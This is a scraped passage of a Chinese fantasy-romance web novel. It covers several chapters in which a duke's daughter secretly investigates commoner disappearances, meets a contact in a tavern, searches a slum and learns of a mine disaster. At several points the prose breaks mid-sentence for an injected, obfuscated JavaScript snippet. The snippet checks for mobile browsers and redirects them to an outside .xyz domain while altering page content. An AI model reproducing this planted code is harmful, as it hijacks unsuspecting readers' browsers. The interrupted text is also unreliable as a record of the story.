“这……有位贵客来访。” * 自从觉醒前世记忆以来，艾莉森还是第一次觉得见到埃德蒙是件好事。她不敢想象，如果埃德蒙此刻没有到访，这场家庭大战会如何收场。 ——在客人面前，公爵夫妇还是要顾及体面的。 更何况埃德蒙殿下指名道姓要“与兰卡罗德小姐私下谈一谈。” 母亲那仿如严霜覆盖的脸色明显好了些，就连父亲紧皱的眉心也舒展开了。 毕竟埃德蒙在私人场合主动找到艾莉森，还是破天荒似的头一回。 会面的地点定在公爵府西侧的花房。 即便是冬日，利用炼金科技储存的魔法能量，玻璃温室内也保持着宜人的温度。 晴朗的下午，阳光透过拱形穹顶洒落在翠绿的植被上，投射出星辰般的斑驳光影。花房中央，是一片银月玫瑰的花海，它们在魔法的滋养下终年不败，银白色的花瓣如同夜空下的月华，散发着淡雅的清香。 细腻的石板小径蜿蜒穿梭其间，围绕着一座小喷泉，泉水从雕刻着蔷薇狮子的青铜雕塑中缓缓流下，水雾氤氲，与银月玫瑰交织成一幅静谧而梦幻的画面。 这座花房，曾是兰卡罗德公爵送给艾莉森母亲的新婚礼物。 花海中站着一名穿着淡紫色长裙的少女，蜂蜜色的长发在脑后束起一部分，一直垂到腰际，耳侧的碎发与小巧珍珠耳饰相映成趣。绣着蔷薇暗纹的丝绸腰带勾勒出她纤细的腰肢，随着她的步伐，轻柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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诺森德尔是阿尔特蒂亚的邻国，两国之间多次爆发战争，直到近三十年，才终于签订了互不侵犯条约。 近些年诺森德尔大力发展炼金科技，已隐隐有超越阿尔特蒂亚的趋势，但诺森德尔的魔晶矿产量远远不及阿尔特蒂亚—— 所有人都知道，诺森德尔迟早会对阿尔特蒂亚动手。 所有人都知道，战争再次爆发只是时间问题。 “很遗憾，帝国内部对此意见不一，我必须谨慎行事，但你不一样——” “我希望你去秘密调查平民失踪的真相。” “你有权力拒绝，你毕竟是兰卡罗德家的千金。”他敛起笑容，神情严肃，“这件事……恐怕很危险。” 艾莉森一时无话，就在埃德蒙几乎以为她会拒绝的时候，艾莉森抬起头，望向埃德蒙，碧绿的眸子里，似乎有着一丝狡黠。 “殿下，您特意到兰卡罗德家找我，不就代表着您没有更好的人选了吗？”艾莉森的手指轻轻拂过银月玫瑰的花瓣，若有所思，“如果诺森德尔真是幕后黑手，皇室的情报机构的干预——只怕会正中他们下怀，成为对我国动手的借口。” “但如果是我……” 艾莉森摘下玫瑰花瓣，指尖一转，让它轻轻落在喷泉之中，一圈圈涟漪荡开，将她的倒影搅碎。 “谁会想到，‘王都千金之耻’居然暗中受到殿下委托？” “我承认，之前是我看走眼了。”埃德蒙低声笑了起来，“你远比我想象得聪明。” “不过，我倒有些好奇，是什么改变了你呢，艾莉森？” 艾莉森没有回应，她的指尖仍然在那片玫瑰花花瓣上摩挲着。她看向的喷泉，不禁有些恍惚，水声潺潺，勾起往日的记忆。 小的时候，母亲就坐在喷泉池边，一边唱歌，一边为她把长发编成辫子。 “银月玫瑰，梦满星光，愿你明日，星尘辉煌，谁在等你，夜色朦胧？朝夕相伴，地久天长。” 是什么改变了她？ “命运这东西，向来不问人的意愿，不是吗，殿下？” 14. 偏移值：2.5% “肥猫”酒馆坐落在离赛琳家不远的街区。 推开有些破旧的木门，空气中弥漫着浓烈的气味，混杂着麦芽酒和烟草，甚至是一些说不清的酸腐味道，也许是酒桶漏了，又或者是某个醉鬼刚才吐了一地。 靠近炉火的长桌旁围着几个穿着破旧军服的老兵，嗓音嘶哑地讲述着旧日的战场故事，言辞间满是对帝国的愤懑与唾骂；靠近吧台的地方，衣着鲜艳画着浓妆的女人正与醉汉们调笑，希望他们能为自己买一杯酒，或者更多； 赌徒，酒鬼，扒手和各种见不得光的交易，三教九流皆汇聚于此——是密谋的场所，也是温柔的归处。 艾莉森皱了皱眉，她并不熟悉这样的地方，但退却更不是她的风格。 埃德蒙说，自己平民区的线人会在这里等候她。 不愧是神通广大的王子殿下。整个王都到底有多少皇室的眼线，无人知晓。 埃德蒙大概率不会亲自出现在这里与情报贩子接头，就像卡西恩说的，他的一举一动都会牵动无数人的命运。 更何况，艾莉森也很难想象，他那样的人会出入这样的酒馆。真要说的话，是卡西恩的气质在这里比较合适吧？ 想到这里，艾莉森不禁觉得有些好笑——她莫不是受了赛琳的影响，开始暗自比较这两人了？ 此时此刻，她穿着哥哥的旧衬衫和长裤，长发盘起，藏在头顶的呢绒帽里，乍看之下像个少年——尽管如此，她的气质还是太干净了，和酒馆里的环境有些格格不入。 她走到吧台前，向酒保要了杯麦芽酒，环顾四周，想要寻找埃德蒙口中的那个“线人”——一个绰号“猫头鹰”的情报贩子。 据说他是一个中等身材的瘦削男子，带着条用旧弹壳做坠子的黄铜项链。 冷不防地，艾莉森的肩膀被人环住了，紧接着便是一股浓烈的酒臭味钻入鼻腔。 “哟，小子，新来的？东张西望找谁呢？”艾莉森转过头，一个满脸胡茬的大汉正露出一口黄牙，咧嘴朝着她笑。 “规矩懂吧？”大汉晃了晃手里的酒杯，“初来乍到，总要敬大家一杯。” 艾莉森无奈，只好又点了杯酒。 那大汉却不肯善罢甘休。 “敬酒啊小白脸？光看不喝，是嫌弃爷？还是怕被你爹妈骂？”醉汉粗糙的手指抚上她的脸，酒气直接喷在艾莉森脸上，“瞧这干净的小脸，怕不是哪个贵族离家出走的小少爷吧？” 那人浑浊的目光从艾莉森身上扫过，带着明晃晃的恶意： “还是说，这是哪家女扮男装的小姐？” 艾莉森的脸色有些难看，强忍住挥拳打过去的冲动和胸口泛起的恶心，逼迫自己无视脸上油腻的触感。 她空出的那只手已经无意识地落在了腰间隐藏的匕首上。 不能惹事，不能惹事。 她在心底提醒自己。 她自以为已经做好了心理准备，但当真被一群醉汉围住，满屋子浑浊的酒气和不怀好意地目光落在自己身上时，她才意识到： 她低估了这件事的难度。 “别欺负小鬼，你们看他脸都绿了。”一个促狭的声音从酒吧角落传了过来，莫名地有些熟悉，“瞧你们喝了别人的酒，还得寸进尺！不然这样，小少爷，讲个笑话，逗大家伙儿乐一乐！” 众人哄笑起来，越来越多的醉鬼附和，纷纷瞧着桌子起哄：“讲个笑话！讲个笑话！” “怎么？小少爷，怕了？”看着有些手足无措的艾莉森，醉汉打了个嗝，酒臭熏得她几欲作呕。“别装高贵了，咱们就想听个乐子。” "要么敬酒，要么讲笑话，不然，你今天就别想这么容易走出这道门。” 艾莉森心知，如果她此刻不顺着这些酒鬼的意思，恐怕难以脱身，搜肠刮肚地回想起弗兰克在学校食堂讲过的“废话”。 弗兰克老是说朋友们不懂自己的幽默，但此时此刻，却成了艾莉森的救命稻草。 “有一天，在贵族议会上，一位大臣放了个屁。” 她的声音不算响亮，甚至有些僵硬。 几声低笑和口哨，示意让她继续。 “女皇陛下皱着眉问：‘谁放的？” “这时，王座旁的将军开口了：陛下，我在军中学到一个道理——战争的胜负，不取决于谁先开火，而取决于谁最后承认失败。”* 短暂的静默。 然后，炉火旁的几个老兵突然大笑起来，拍着桌子，连酒都洒了一地：“他口的，这才是打过仗的人说得出的道理！” 他们笑得几乎要从椅子上跌下来，冲艾莉森竖起大拇指。 “这笑话好！能讲出这种笑话的小哥，谁要找他麻烦，我们第一个不同意！” “没错，不同意！” 酒馆里的人哄笑成一片。口哨声、酒杯敲击桌面的声音此起彼伏。刚才还想找茬的醉汉悻悻地松开了手，大力拍了几下艾莉森的肩膀，灌了口酒，醉醺醺地晃悠着离开了。 艾莉森松了口气，整理了一下被醉汉拽皱的衬衫领子，将自己的帽檐压得更低了些。 改天得请弗兰克吃上一顿，她想。 “这位小哥，笑话不错啊。” 正在艾莉森反思自己下次再来酒吧应该打扮得更邋遢些时，一个戴兜帽的男人她拉开她旁边的高脚凳，坐了下来。 他找酒保点了杯麦芽酒，帽檐垂下，遮住了脸孔。 那人压低声音，缓缓道：“喝酒最重要的是分清酒和水，不然容易被人灌醉。” 艾莉森心中一惊，目光不自觉地看向那人的胸口——没有黄铜项链。 她的手指不自觉地划过酒杯的杯口，谨慎地回应道：“可有时候。水比酒更呛人，尤其是掺了别的东西的水。” 男人仰头喝了口酒，转过身看向艾莉森：“那么，你是来喝酒，还是来喝水的呢——”他不再刻意改变声线，慵懒的嗓音里带着几分戏谑。 “——大小姐？” 兜帽下金绿色的眼中，藏着惯有的讥讽笑意，让艾莉森几乎想把杯中酒泼他一身。 不是卡西恩是谁？ * “你怎么会知道接头的暗号？” 卡西恩慢条斯理地喝了一口麦芽酒，好整以暇地看着她，有意吊艾莉森的胃口：“怎么，刚才帮你解围，不先谢谢我吗？” 艾莉森愣了愣，突然反应过来，方才在混乱中那个要她讲笑话的声音，似乎有点耳熟。 她瞪向卡西恩，恨不得用眼刀在他那张帅脸上戳个窟窿，咬牙切齿地说： “那、可、真、是、感、激、不、尽、啊。” “不客气，大小姐。”卡西恩笑得越发愉悦了。 即便是在这样嘈杂混乱的环境里，艾莉森也没有离开的想法，但是这一刻，她真的非常想起身走人。 于是她喝了口酒，想要借此收敛起烦躁的情绪。 粗制的麦芽酒带着浓重的发酵味和微微的酸涩，滚过喉咙的瞬间， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826032|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛辣感猛地窜上鼻腔。她猝不及防地轻咳了一下，喉咙发紧，险些喷出来。她迅速抿紧嘴角，硬生生把咳嗽压下去。 卡西恩却颇有兴趣地看着她青一阵紫一阵的脸色，摩挲着酒杯的杯口，缓缓道：“‘猫头鹰’的口令，通常是三天一变。” 艾莉森心中一惊，她从殿下那里得到这个口令是一天前，实际上这个口令使用的时间可能更长。她轻轻地拨弄着额前的碎发，在指尖绕了一圈，又松开，像在整理着脑中的思绪。 “现在这个口令已经是五天前的了。按照规律，猫头鹰早该把它换掉。” 卡西恩放下酒杯，半侧着身子，看向艾莉森。 昏黄的灯光落在在男装打扮少女的侧脸上，艾莉森抿着唇，皱着眉头，红润的脸颊如同清晨的蔷薇，一缕发丝从帽子里滑了出来，落在她小巧圆润的耳朵旁边。 卡西恩不禁有些出神——她的确和周遭的环境格格不入，才能让他一眼便认了出来。 “口令一直没有换过。”艾莉森似是若有所思地说，“像他这样的情报贩子，仇家不少，这么做未免太不谨慎了。” “也许他只是年纪大了，记不住三天一换的口令呢？” “又或者，他根本没办法换口令？” 艾莉森猛地抬头，看向卡西恩。 他还是那副无所谓的样子，手指无意识地摸索着酒杯口，仿佛只是随口提了一句，金绿色的眸子却在灯光下越发幽深。 艾莉森明白了—— 卡西恩知道一些内情，但故意吊着她不说。 也许是酒精作祟，艾莉森那为数不多的耐心几乎要被卡西恩磨完了，她深深地吸了口气，站起身来，目光灼灼地看着对面的黑发少年，声音微冷： “够了，别卖关子了。” “卡西恩，你到底要什么？” “嗯，让我想想……”卡西恩依旧气定神闲地坐着，指尖轻轻地摩挲着下巴，片刻后，他望向艾莉森，似笑非笑： “如果大小姐能送上一枚香吻，我一定知无不言，言无不尽。” 卡西恩不得不承认，他很喜欢看艾莉森那张漂亮的脸孔窘迫的模样，这些贵族小姐的脸皮都很薄，稍微逗弄一下，便会满脸通红—— 然后他便可以理所当然地，在她不知所措的时候抛出自己的第二个条件，换取他真正想要的东西。 但是，他犯了一个巨大的错误。 麦芽酒带来的灼烧感还没有褪尽，艾莉森清楚地听见，自己的理智之弦绷断的声音。 她笑了起来，眼睛眯起，弯如新月。 不就是亲一下吗？她亲过小猫，亲过猎犬，为什么不能亲他？ “这可是你说的，卡西恩。” 艾莉森猛地伸手，抓住他的领口，狠狠一拽。 温柔的触感落在卡西恩的额头上。 温暖的，轻盈的，像是沾着露珠的玫瑰，带着若有似无的花香。 卡西恩从不喜欢花，花太温柔，又太脆弱，不是可靠的同盟，但那一瞬间，花香却如牢笼一般将他困住，让他失去了所有的力气。 他愣在原地，甚至忘了嘲讽。 没有人注意到吧台前小角落发生的事情，只有酒保眼神嫌弃地看了他们一眼，“啧”了一声，转过身去。 艾莉森用手背使劲擦了擦嘴，满意地看着卡西恩的表情，脸颊上升起晚霞般的红晕，不知道是因为酒精，还是什么别的原因。 “现在，给我情报。” 15. 偏移值：2.5% 平民区臭名昭著的“黑巷”其实一开始是有正式名字的，但随着时间的侵蚀，路牌早就被污垢和锈迹覆盖。 不知多久没有修缮过的石板路上，混杂着人类排泄物臭气的污水流淌在缝隙里，沿街的下级妓院，赌坊，和各式灰色场所隐匿在破败的建筑中，昏黄的灯光中人影绰绰，偶尔传来呻吟和叫骂，又迅速被黑暗淹没。 有人沿街躺在垃圾堆里，不知道是喝醉了，还是已经成了尸体。 于是住在这里的人也不再关心它原本的称谓。对他们来说，“黑巷”才是这条阴暗而恶臭的街区，最容易被记住也最贴切的叫法。 “他口的，这地方简直了！”弗兰克皱着眉头，用袖子捂着口鼻，即便是出身平民区，他也有些受不了这里的恶臭。 “艾莉森，你确定你要找的那个人住在这里？” “我十分确定。” 卡西恩那天告诉她情报的样子，可不像是在骗人。 被她“强吻”了之后，他一度呆住，起身的时候撞到椅子，甚至差点碰倒了酒杯，全没了平日的游刃有余。 如果说他还能维持镇定，那也是靠着死鸭子嘴硬的本能强撑。 要是连耳朵红透了也能伪装，那活该自己被骗——谁叫他演技那么逼真？ 只有这种时候，艾莉森才意识到，卡西恩到底是个和自己同龄的少年，而不是那个让她需要处处提防，对她的未来举足轻重的男人。 艾莉森定了定神，甩掉脑海里不合时宜的回忆。 相比之下，她更在意的是，在“肥猫”分别之前，卡西恩还特意忠告了一句。 “你最好别一个人去那里，叫上弗兰克或者维克多。” 维克多今天帮家中采买恰好不在，但弗兰克却很乐意从霜雪节帮亲戚带孩子的苦力活里逃走，跟艾莉森出来“找点有趣的事做”—— 但看他的表情，现在恐怕有些后悔。 “艾莉森，你怎么会跟这里扯上关系？我妈以前可是坚决不让我来这儿，说这地方净是些乱七八糟的人，小孩子来了会被带坏。” 弗兰克踮着脚跳过一滩污水。 “不过你确实也不一般。学校里那些女孩儿，看我一眼都嫌脏似的，更别说来这种地方了。” 他又灵巧地躲过一个试图靠近的扒手，顺便拉开一个企图靠近艾莉森的醉汉。 “我的天啊，居然是卡西恩队长告诉你的？他也来过这？厉害啊，贵族的少爷小姐们居然来黑巷组团游了？不过队长那气质好像也没有特别违和，他一看就是那种狠人……” 艾莉森觉得很难想象，为什么一个人可以一边捂着鼻子，一边还能说个不停——难道弗兰克都不需要呼吸的吗？ “所以说，你们到底在调查什么啊？是有什么阴谋吗？谋杀案？私生子？专门来这里的话，难道，难道你们在查平民区的失……” 注意到投过来的几道居心叵测的目光，艾莉森连忙捂住了他的嘴。 弗兰克意会，用只有两人能听到的气音说：“不是吧？真的在查失踪案？” 艾莉森无奈，这人看着不着边际，却这么轻松随意地切入了核心—— 说来也正常，能被皇家军事学院从平民区发掘出来，还顺利闯过了淘汰率极高的第一学期，弗兰克绝对不是笨蛋。 她默默地点了点头，做了个“嘘”的动作。 弗兰克用口型说“收到”，似乎觉得这样还不够似的，又用双手竖起大拇指。 接着，艾莉森再次受到了弗兰克的话痨式攻击，且这次攻击范围更广更大无具体目标，从家常菜食谱到哪位贵族同学每天给头发抹油，又从平民区的卫生问题扯到阿尔特蒂亚的□□势—— 就在她以为自己的忍耐快到极限的时候，弗兰克终于说出了这段路上最短的一句话： “啊，到了。” “猫头鹰”在黑巷的“安全屋”。 它隐匿在一排破败的民居中，乍看去并没有什么特别之处，有些发霉的木板窗户紧闭着，窗台上的植物早已枯死，窗台下堆放着几个缺口的陶罐，里面随意地扔着些工具。 艾莉森上前敲了敲有些锈迹的门环。 无人应门。 她再次叩门，依旧没有回应。 弗兰克想了想，将她拉到一旁。他走上前，大力排打着门板，叫道：“开门，你老婆让我带信，说你再和人鬼混，她就拆了这房子！” 艾莉森不可置信地看着他，对弗兰克张嘴就来的本事佩服得五体投地。 半晌，木门拉开了一条小缝。 开门的是个三十来岁的女人，她画了廉价的妆，好让自己看上去没那么憔悴，但粉底和胭脂遮不住她凹陷的眼眶和脸颊。 见门外是两个陌生的少年，那女人似乎松了口气，没好气地说：“你们找谁？” “姐姐，别紧张。”弗兰克露出一个无害的笑容，“我和朋友来跑个腿，赚点零花钱。” “有位女士让我们来这里，说要找她好几天都没回家的丈夫。” 女人的眼神闪过瞬间的犹豫，随即厉声道：“你们找错地方了，这里没这个人！” 伴随着“砰”的一声，她关掉了门。 “唉，居然拒绝我这么清纯可爱的阳光少年，真没眼光。”弗兰克有些懊恼地揉了揉自己的头发，“不过你看她刚才的样子，眼神乱飘，嘴巴比这紧闭的木门还死——八成是心虚。” “现在看来，‘猫头鹰’的失踪是事实。”艾莉森摸着下巴，思索道，“但从她这里，我们恐怕无法得到更进一步的消息了。” “也许周围会有人人知道他的行踪。” 弗兰克的目光扫过狭窄的街道，方才拍门的动静不小，不少居民已经好奇地看了过来，要么站在门口，要么从窗户缝里弹出头来。 二人心照不宣地交换了一个眼神。 弗兰克暗自向她比了个手势，意思是“交给我”——在这方面，他对自己的交流能力十分有自信。 “你好啊大叔，今天天气可真不错。”弗兰克向一个靠墙抽烟的男人挥了挥手，语气熟稔得像是多年老街坊。 那人不搭理他，弗兰克倒也不在意，笑呵呵地一路打听过去，最后，用一块铜板跟个老婆婆打探到了消息—— “巷口那有个乞丐，他成天坐在那瞎念叨，搞不好他看到过你们要找的人——最好带瓶酒去。” 二人跟着婆婆指的方向寻去，果然在街角避风处见着一个衣衫褴褛的乞丐，蜷缩在破布和垃圾之间。 他的衣服早已看不出原本的颜色，油腻的头发和胡须不知多久没有清理过。寒风从破败的屋檐下灌进巷子，吹得他缩成一团，只能紧紧地裹着一条别人不要的破旧棉被。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826033|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的身下还铺着几层破麻袋，虽然不算温暖，至少能隔绝冰冷潮湿的地面。 “你好啊，老伯。” 弗兰克在他面前蹲下来，但那老乞丐却毫无反应，空洞又浑浊的眼神不知落在何处，仿佛根本听不见。直到他嗅到了空气中淡淡的发酵味道，鼻翼微微抽动了一下，目光才慢慢聚焦过来。 艾莉森从行囊里拿出方才在路上买的酒。 老乞丐喉结滚了滚，伸出枯枝般的手，干裂的嘴唇微微张开，含混地说着些什么。 弗兰克却拦住了她。 “老伯，你见过巷尾那家的男人吗？戴黄铜链子的那个。” 老乞丐怔怔地看着他，像在思索着他话里的意义。半晌，才发出一阵让人毛骨悚然的笑，低声嘟囔着，弗兰克只好凑近了些，才听清楚内容： “嘘……嘘……别说话，别让他们听见……矿里有影子，影子会偷听秘密……” “他被吃掉了……被魔晶吞了，他去找人，却被吞掉了……嘿嘿，嘿嘿嘿嘿……” 他的喉咙里发出断断续续的声音，把几句话翻来滚去地重复着，眼睛却死死盯着艾莉森手里的酒。 见再不能问出什么，弗兰克把酒递了过去。 老乞丐立刻对着瓶口灌了起来，酒液顺着嘴角留在胡须上，衣服上，他却不管不顾，像是久旱的旅人在沙漠中见着了水。 一转眼，那瓶酒便见了底。 “老伯，慢点喝，小心呛着。” 老乞丐拼命朝嘴里抖了抖瓶子，连最后一滴液体也没放过，见弗兰克没有再给他的意思，便直接把酒瓶扔到地上，不再理会二人。 那劣质酒精度数不低，被这老乞丐这样一口喝下去，他本就不太清醒，待会儿恐怕还会借着酒劲发疯。 男人喝完酒发癫这种事，弗兰克见多了。 “老伯，我们走啦。”他也不嫌脏，给那老乞丐拉了拉被子，随即站起身来，拍拍裤子便要和艾莉森离开。 然而，就在他们踏出巷子的那一刻，身后却传来声怪笑。 一开始只是喉咙里发出的沙哑声音，随后越来越大，老乞丐的双手在虚空中胡乱挥舞着，连刚刚被弗兰克掖好的被子滑了下去，也丝毫不顾。 “……怪物……” 弗兰克和艾莉森皆是一顿，回头看向那疯乞丐。 “别过来！别过来！” 他缩成一团，像是看到什么恐怖至极的东西，双手死死抱着头，身体发抖，嘴里发出哀嚎。 “你杀不死我！你杀不死我——怪物，你这怪物！金绿色眼睛的怪物！” 他抬起头，眼白里布满血丝，浑浊的瞳孔映着艾莉森和弗兰克的身影，像是在透过他们，看见某个不存在的噩梦。 艾莉森心中一沉。 疯乞丐的哀嚎越来越小，逐渐无法辨清内容。身体随着墙根慢慢地滑了下去，倒在破麻袋上。 弗兰克走上前，探了探乞丐的呼吸，他还活着。 箱子里死一般的寂静。 弗兰克有些勉强地笑了笑，看向艾莉森道：“这老伯醉了，说醉话呢。” 艾莉森却不答话，弗兰克的表情出卖了他真实的想法。 金绿色的眼睛。 他们都想起了一个人。 “走吧。”艾莉森深吸了口气，压下心中的不适。 16. 偏移值：2.5% 黑巷的恶臭逐渐消失在身后，夜风冷得刺骨。 回来的路上，任凭弗兰克天南海北的胡侃，艾莉森也只是“哦”，“嗯”地应着—— 疯乞丐令人毛骨悚然的怪叫依旧盘旋在她耳边。 “金绿色眼睛的怪物。” “别瞎想了艾莉森，阿尔特蒂亚金绿色眼睛的人多了，怎么可能那么巧？” 弗兰克用胳膊肘撞了撞她，压低声音，神秘地说：“搞不好，那疯子怕的，根本就不是人类……” 艾莉森抬头看了他一眼。 “他怕的是猫！我告诉你，我邻居家的猫就是金绿色眼睛，太阳下面闪闪发光的，可好看了！” 艾莉森终于笑了出来：“不得不说，弗兰克，你的想象力真是丰富。” 弗兰克得意地拍了拍自己的胸膛：“我要是不读军校，那必须当个作家！——什么阴谋诡计天马行空，不在话下！” “你别说，那老疯子讲的什么‘矿里有影子偷听秘密，’‘被魔晶吞了’，听上去还真像是恐怖小说……不过，平民区附近的魔晶矿区只有一个，‘猫头鹰’该不会就是在那里失踪的吧？” 吹牛归吹牛，最后还能绕回核心，这也是弗兰克的本事。 “你觉得，他说的这些话有多少可信度？”艾莉森思索道，“听那乞丐的意思，‘猫头鹰’也许是和人约着在魔晶矿区见面，听到了什么……” 情报贩子很有可能已经死了。 “疯子说的鬼话，谁知道真的假的？”弗兰克耸耸肩，“不过艾莉森，你该不会真打算去魔晶矿区吧？” 弗兰克停下脚步，用一种难以置信的目光看着眼前的贵族小姐。 每一个在平民区长大的小孩，都被父母用“再不听话就送你去魔晶矿区”吓唬过。且不说频繁的塌方，工程事故和那迷宫一样复杂的矿洞；光是魔血病一条，便足以让想踏足之人望而却步。 长期在矿区工作的人极易感染这种可怕的疾病，一开始的症状，是身上出现蓝色的魔力回路印记，伴随着无法控制的魔法力量，紧接着，染病者会迅速衰老，身体技能断崖式下降，到了最后，全身剧痛，精神错乱，皮肤还会硬化为诡异无比的蓝色结晶，血管暴突，死状极为可怕。 一个平民，若是突然能使用魔法，就要小心这种病症了。 若不是为了生计，没有人愿意在矿区工作。 “艾莉森，就算魔晶矿区大多是你家的产业，去那里探查也太危险了。” 艾莉森愣了楞，方才反应过来弗兰克指的是什么。 作为阿尔特蒂亚炼金科技最大的推动者和支持者，兰卡罗德家拥有大部分魔晶矿的经营和开采权，但艾莉森却从未踏足过矿区，一来自是因为危险，二来则是，从前的艾莉森，根本就不关心这些事情。 “赛琳的父亲以前不是在矿区干过活吗？要不然我们先去问问他？” 之前聚餐的时候，罗德里克先生的乐观开朗给艾莉森留下了很深的印象，但这件事情的危险程度不容小觑，要不是弗兰克自己猜出来，她本不愿意让无关的人卷进来。 见她不说话，弗兰克眼珠一转，好像猜到了她的担忧，笑道：“今年霜雪节，你家那个什么基金会也会为矿区工人进行冬季援助吧？这可是每年街区的大事。” “既然要援助，我们去找塞琳父亲打探一些矿区的情况，不是再合理不过了吗？” 每年这个时候，兰卡罗德家都会牵头举办慈善晚宴，为矿难中死亡或者不幸患病的矿工们募捐。 要不是弗兰克提起，艾莉森几乎想不起来举行这个晚宴原本的目的。 霎那间，她觉得心里有些堵。 从前的十五年，她甚至连自己家族基金会帮助的对象，都没有去了解过。 直到现在，如果不是为了完成埃德蒙交给她的“任务”，恐怕她也不会关注到这个方面吧？ “弗兰克，我……”艾莉森张了张嘴，却说不出话来。 弗兰克看她一眼，摸了摸自己的鼻子：“艾莉森，你觉得我愿意趟这趟浑水，是因为单纯觉得好玩刺激吗？” “平民区是我的家——如果有人想在这里搞事，我绝对不会坐视不理。” “贵族关不关心我们，无所谓。” “只要结果是好的，我管他想的啥——人都是这样，只会关心自己的生活。” 艾莉森知道，弗兰克说的是对的。大部分的人，他们不会关心行为背后的动机，只在乎最后的结果是否对自己有利。 如果一味纠结，反而影响后续的行动。 想通了这点，她心情轻松了些，笑道： “我现在觉得你当作家还是屈才了，你这张嘴当演说家才是最合适的。” 弗兰克爽朗地笑了起来，拍了拍艾莉森的肩膀：“唉，要是靠一张嘴就能打败敌人，能当我对手的，恐怕只有卡西恩队长了！” 艾莉森不禁想象了下那个场面，忍不住笑了出来。 两人就这样一路聊着天，绕到了赛琳家所在的街区。 再过两天便是节日，不少人家已经挂上了雪花形状的装饰品，窗台前用托盘点燃了蜡烛，映照着玻璃球，仿佛有星辰坠落人间。 广场上的市集燃起篝火，由魔晶石提供能源的灯带环绕着，小贩们支起摊位，热红酒散发着茴香和苹果的香气—— 同样是平民区，与黑巷相比，这里就像是另外的世界。 赛琳家玄关处放着小鹿的木雕，门上挂着用松枝和冬青编制的花环，温暖的灯光从窗户透出来，显得格外温馨。 赛琳的母亲见是艾莉森和弗兰克，便热情地将他们迎进了屋子。 “欢迎你们，又见面了！是找赛琳的吧，她去邻居家帮忙，很快就回来了！” 出乎他们意料的是，屋内还有别的客人在。 “罗德里克老兄，真是抱歉，大过节的还要麻烦你……”一个中年男人看来比赛琳的父亲年纪还大，脸上的皱纹沟壑纵横，满是风霜。 “别这么说，汤姆，当年赛琳生病，要不是你周济，我们家也熬不过来。”赛琳父亲拿了个袋子给他，“钱不多，你别嫌弃。” “罗德里克叔叔，真是太谢谢你了。”另一个年轻男子感激地说，“要不是那些混蛋说要迎接贵族老爷们的视察，把矿区关了，我们也不会在节前落得如此窘迫……” 年长的男人见到有别人进来，连忙咳了一声。 “这两位是赛琳的同学。”赛琳的爸爸介绍道。 “既然这样，我们也不打扰了。真不知道要如何感谢你，罗德里克。” 那两人站起身来，带上毡帽，裹上斗篷，向赛琳的父亲告别。 “别这么说，都是工友。” 送走了客人，赛琳父亲忍不住长长地叹了口气。 “叔叔，他们是……？”弗兰克忍不住好奇问到。 “都是我以前在矿上认识的的兄弟。”老罗德里克杵着拐杖，慢慢地挪到扶手椅前坐下，“前些日子，矿上又出了事，死了好些人——这年头，本不算稀奇。” “但霜雪节前后，贵族老爷要来‘视察’，工头们怕麻烦，尸体都还没处理完呢，居然就急着把矿区封了！生怕脏了他们的眼！”说到这里，他把拐杖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赛琳抿了抿嘴，似乎还想说什么，但最终只是低下头，轻声道：“我能做的，只有喂孩子吃点东西。” “她还那么小，甚至不知道爸爸回不来了……” 赛琳犹豫着开口道： “艾莉森……” 她将艾莉森拉到一旁，用只有两人能听到声音，近乎哀求地说—— “不……兰卡罗德小姐。” “对不起……我知道，你其实也没有义务。但是，我能寻求帮助的人，也只有你了。” * 市镇广场传来的钟声回荡在黄昏的暮色中。魔晶石作为能源的路灯逐一点亮，照着贵族区平整的路面。 每一盏的造价，都足够让那些矿工家庭撑过好几个霜雪节。 艾莉森没有乘坐马车，她并不希望被母亲知道她这几天的行程，只是吩咐自己贴身女仆此刻在大宅的侧门等候。 一切应该很顺利。 但眼前的景象，却打了她个措手不及。 黑色镶银边的军服随意地扔在路边，高大的青年半蹲在墙沿上，一正对着墙下的侍女做了个“嘘”的手势。 他听见脚步声，回过头来。 棕色的头发，以及和艾莉森如出一辙的蓝色眼睛，英俊的脸上，挂着玩世不恭的笑容。 男子他挥了挥手语气夸张地说：“哎呀，我还以为是哪家的淑女，如此惊为天人，可惜——” “这不是我那比黎明更耀眼，如晨星般皎洁，令玫瑰花都嫉妒的妹妹吗？” 17. 偏移值：2.5% 这个浮夸的男人，便是艾莉森的二哥——凯恩.兰卡罗德。 兰卡罗德家长子早已成年，作为阿尔特蒂亚驻锡兰的大使，很少回家；而凯恩则在宫中的军部就职，平时住军官宿舍。 凯恩比艾莉森大四岁，小时候，两个人很是亲近。 “请加上‘中尉’，‘凯恩.兰卡罗德中尉’，亲爱的妹妹。” 